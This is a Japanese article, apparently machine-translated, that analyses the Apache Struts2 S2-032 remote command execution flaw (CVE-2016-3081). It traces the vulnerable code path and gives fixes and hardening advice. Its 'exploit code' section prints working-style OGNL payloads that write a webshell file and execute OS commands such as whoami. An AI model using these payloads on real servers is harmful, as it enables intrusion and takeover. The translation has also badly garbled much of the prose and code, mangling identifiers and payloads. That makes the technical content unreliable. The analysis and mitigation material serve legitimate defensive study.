2016年4月26日、Apache Struts2は別のセキュリティ発表を正式に発行しました。ApacheStruts2Serviceは、状態方法が呼び出されて開始されたときに任意のコマンドをリモートで実行できます。公式数はS2-032、CVE番号はCVE-2016-3081です。これは、2012年にStruts2コマンドの実行脆弱性が発生してから4年後にサービスの大規模な脆弱性が爆発したことです。この脆弱性は、今年明らかにされた最も深刻なセキュリティの脆弱性でもあります。ハッカーはこの脆弱性を使用して、エンタープライズサーバーでリモート操作を実行することができ、その結果、データの漏れ、リモートホストの告発、イントラネットの浸透などの主要なセキュリティの脅威が得られます。
脆弱性が発生した後、それはセキュリティおよび関連企業のための別の集合的なイベントでした。脆弱性の搾取者は、この脆弱性を可能な限り使用して、優れたレベルを示していました。さまざまなパブリックテストプラットフォームが、プラットフォームの役割を強化するために捕獲された企業をリリースしています。また、主要なセキュリティ企業は、この脆弱性を最大限に活用して、会社の影響力を高め、マーケティングを活用し、できるだけ早くアップグレードします。その後、多数の落ち込んでいる開発と運用担当者は、脆弱性パッチを一晩アップグレードする必要があります。
ただし、脆弱性の原則は保護に影響し、他の要因がめったに言及されません。この記事は、上記のポイントについて自分の意見を提出することについてです。
原理
この脆弱性は、Struts2のOGNLの動的実行を使用して、Javaコードにアクセスします。この脆弱性を使用して、リモートのWebページをスキャンして、そのような脆弱性があるかどうかを判断し、悪意のある手順を送信し、ファイルのアップロードを実装し、ネイティブコマンドを実行し、その後の攻撃を実行できます。
OGNLはオブジェクトグラフナビゲーション言語の略語であり、そのフルネームはオブジェクトグラフナビゲーション言語です。それは強力な表現言語です。シンプルで一貫した構文を使用すると、オブジェクトのプロパティにアクセスしたり、オブジェクトのメソッドを自由に呼び出したり、オブジェクトの構造図全体を通過して、オブジェクト属性タイプおよびその他の機能の変換を実現できます。
#、%、$記号はognl式によく表示されます
1.通常、#シンボルには3つの用途があります。
#session.msg式などの非ルートオブジェクトのプロパティにアクセスします。Struts2の中央値スタックはルートオブジェクトと見なされるため、他の非ルートオブジェクトにアクセスするときにプレフィックスを付ける必要があります。 {?#this.age> 25}、persons。{?this.name == 'pla1'}。{age} [0]; #{'foo1': 'bar1'、 'foo2': 'bar2'}などのマップを作成するために使用されます。
2。%シンボル
%シンボルの目的は、フラグの属性が文字列型である場合、OGNL式の値を計算することです。これはJSの評価に似ており、非常に暴力的です。
3. $シンボルには2つの主要な用途があります。
国際リソースファイルでは、国際リソースファイルのコードなどのOGNL式を参照してください。Reg.Agerange=国際リソース情報:年齢は$ {min}と$ {max}の間でなければなりません。 Struts 2フレームワークの構成ファイルのOGNL式を参照してください。
コード利用プロセス
1。クライアントリクエスト
http:// {websiteip.webapp}:{portnum}/{vul.action}?method = {malcmdstr}
2。DefaultActionProxyのDefaultActionProxy関数はリクエストを処理します。
Protected DefaultActionProxy(ActionInvocosion Inv、String Namespace、String ActionName、String MethodName、Boolean ExecuterSult、Boolean CleanupContext){this.invocation = inv; this.cleanupcontext = cleanupcontext; log.debug( "namespace [{{}]およびaction name [{{}]"、namespace、actionname)のdefaultactionproxyの作成); this.actionName = stringescapeutils.escapehtml4(actionName); this.namespace = namespace; this.executeresult = executeresult; //参加者は、可変通過、構文の充填、キャラクターエスケープ、その他の方法を通じてそれをバイパスできます。これ3。DefaultActionMapperメソッドDefaultActionMapperのメソッド名
string name = key.substring(action_prefix.length()); if(approwdynamicmethodcalls){int bang = name.indexof( '!'); if(bang!= -1){// method name string method = cleanupactionname(name.substring(bang + 1)); mapping.setMethod(メソッド); name = name.substring(0、bang); }}4. defaultActionInvocationのInvokeActionメソッドを呼び出して、合格したメソッドを実行します。
保護された文字列InvokeAction(Object Action、ActionConfig ActionConfig)スロー例外{string methodname = proxy.getMethod(); log.debug( "実行アクションmethod = {}"、methodname); string timerkey = "invokeAction:" + proxy.getActionName(); try {utiltimerstack.push(timerkey); Object MethodResult; try {// method hordsResult = ognlutil.getValue(methodname + "()"、getStack()。getContext()、action); } catch(methodfailedexception e){解決
公式の解決策は、ステップ3の関数CleanupactionNameに検証を追加することです。
Protected Pattern AldaturceNames = pattern.compile( "[a-za-z0-9 ._!////-]*");保護された文字列cleanupactionname(final string rawactionName){//チェック、フィルターの通常のマッチを入力します( "[a-za-z0-9 ._!///-]*")。 if(adolation names.matcher(rawactionName).matches()){return rawactionName; } else {if(log.iswarnenabled()){log.warn( "action/method [#0]は、許可されたアクション名[#1]、cleaning it! } string cleanactionname = rawactionName; for(string chunk:aotadactionnames.split(rawactionName)){cleancractionname = cleancractionname.replace(chunk、 ""); } if(log.isdebugenabled()){log.debug( "cleaned action/method name [#0]"、cleanactionname); } return cleanactionName; }}修復の提案
1.動的メソッド呼び出しを無効にします
struts2の構成ファイルを変更し、「struts.enable.dynamicmethodinvocation」の値をfalseに設定します。
<constantname = "struts.enable.dynamicmethodinvocation" value = "false"/>;
2.ソフトウェアバージョンをアップグレードします
Strutsバージョンを2.3.20.2、2.3.24.2、または2.3.28.1にアップグレードします
パッチアドレス:https://struts.apache.org/download.cgi#struts23281
コードを悪用します
1。ファイルをアップロードします。
方法:%23_MEMBERACCESS%[電子メール] [email protected] [/email]@default_member_access、%23req%3d%3d%40org.apache.structs2.servletactionContext%40getRequest()、%23 Res%3d%40org.apache.Structs2.ServletactionContext%40GetResponse()、%23res.setcharacterencoding(%23Parameters.Encoding [0])、%23W%3D%23Res.getWriter()、%23pat H%3D%23REQ.GETREALPATH(%23Parameters.pp [0])、new%20java.io.bufferedwriter(new%20java.io.filewriter(%23 path%2b%23parameters.shellname [0]) Eters.ShellContent [0]))
上記のコードは少し不便に見えます。変換して見てみましょう。
方法:#_ MemberAccess [email protected]@default_member_access、#req [email protected]@getRequest()、#res [email protected] ervletactionContext@getResponse()、#res.setcharacterencoding(#parameters.encoding [0])、#w =#res.getwriter()、#path =#req.getrealpath(#parameters.pp])、new java.io.bufferedwriter(new java.io.filewriter(#path+#parameters.shellname [0])。append(#parameters.shellcontent [0]))。
2。ローカルコマンドを実行します:
方法:%23_MEMBERACCESS%[email protected]@DEFAULT_MEMBER_ACCESS、%23Res%3D%40ORG.APACHE.STRUCTS2.SERVLETACTIONCONTEXT%40GetRespo nse()、%23res.setcharacterencoding(%23parameters.encoding [0]]、%23w%3d%23res.getwriter()、%23s%3dnew+java.util.scanner(@java.lang.run time@getRuntime()。exec(%23Parameters.cmd [0])。getInputStream())。usedelimiter(%23parameters.pp [0])、%23st%3d%3d%23senext()%3f%23s。 next()%3a%23parameters.ppp [0]、%23w.print(%23str)、%23w.close()、1?%23xx:%23Request.toString&cmd = whoami&pp = // a&pp =%20&encoding = utf-8
変換の面倒を見てみましょう
方法:#_ MemberAccess [#parameters.name1 [0]] = true、#_ memberaccess [#parameters.name [0]] = true、#_ memberaccess [#parameters.name2 [0]] = {}、#_ memberaccess [#paramete [#paramete rs.name3 [0] = {}、#res [email protected]@getResponse()、#res.setcharacterencoding(#parameters.encoding [0])、#d d#res.getwriter()、#s = new java.util.scanner(@java.lang.runtime@getRuntime()。exec(#parameters.cmd [0])。getInputStream()) int(#str)、#w.close()、1?#xx:#request.tostring&name = approstaticmethodaccess&name1 = akpodprivateaccess&name2 = exproduedpackagenamepatterns&name3 = expluedclasses&cmd = whoami&pp = //前の紹介を通して、私はそれが変換後に比較的簡単に理解できることを発見しました。
防止する方法
セキュリティには非常に重要な原則があります。これは、最小許可の原則です。いわゆる最小特権は、「特定の操作を完了するときにネットワーク内の各プリンシパル(ユーザーまたはプロセス)に不可欠な特権」を指します。最小特権の原則とは、「ネットワーク内の各エンティティが、可能な事故、エラー、ネットワークコンポーネントの改ざん、その他の損失の改ざんを最小限に抑えることを保証するために制限されなければならない最小特権を制限する必要がある」ことを意味します。
たとえば、システムで動的メソッド呼び出しが使用されない場合、展開中に削除されるため、パッチが起動されていなくても使用されません。
このシステムで最も重要な害の1つは、ローカルプロセスを実行することです。これは、システムがローカルで実行されない場合にも無効になる可能性があります。
Javaコードでローカルコマンドを実行するコード、ProcessImplのProcessImplを見てみましょう。
private ProcessImpl(String CMD []、Final String Envblock、Final String Path、Final Long [] StdHandles、Final Boolean RedirecterrorStream)はiOException {String CMDSTR; SecurityManager security = system.getSecurityManager(); boolean aversambiguouscommands = false; if(security == null){lowAmbiguousCommands = true; // JDKは、ローカルプロセスを実行できるかどうかを特定するためのパラメーターを指定しています。 string value = system.getProperty( "jdk.lang.process.allowambiguouscommands"); if(value!= null)AllowambiguousCommands =! "false" .equalsignorecase(value); } if(aladambiguouscommands){Javaが起動したら、parameter -djdk.lang.process.allowambigouscommands = falseを追加して、Javaがローカルプロセスを実行しないようにします。
システムが展開されたときに事前に不必要なコンテンツをオフにすることができれば、この脆弱性の害は削減または排除される可能性があります。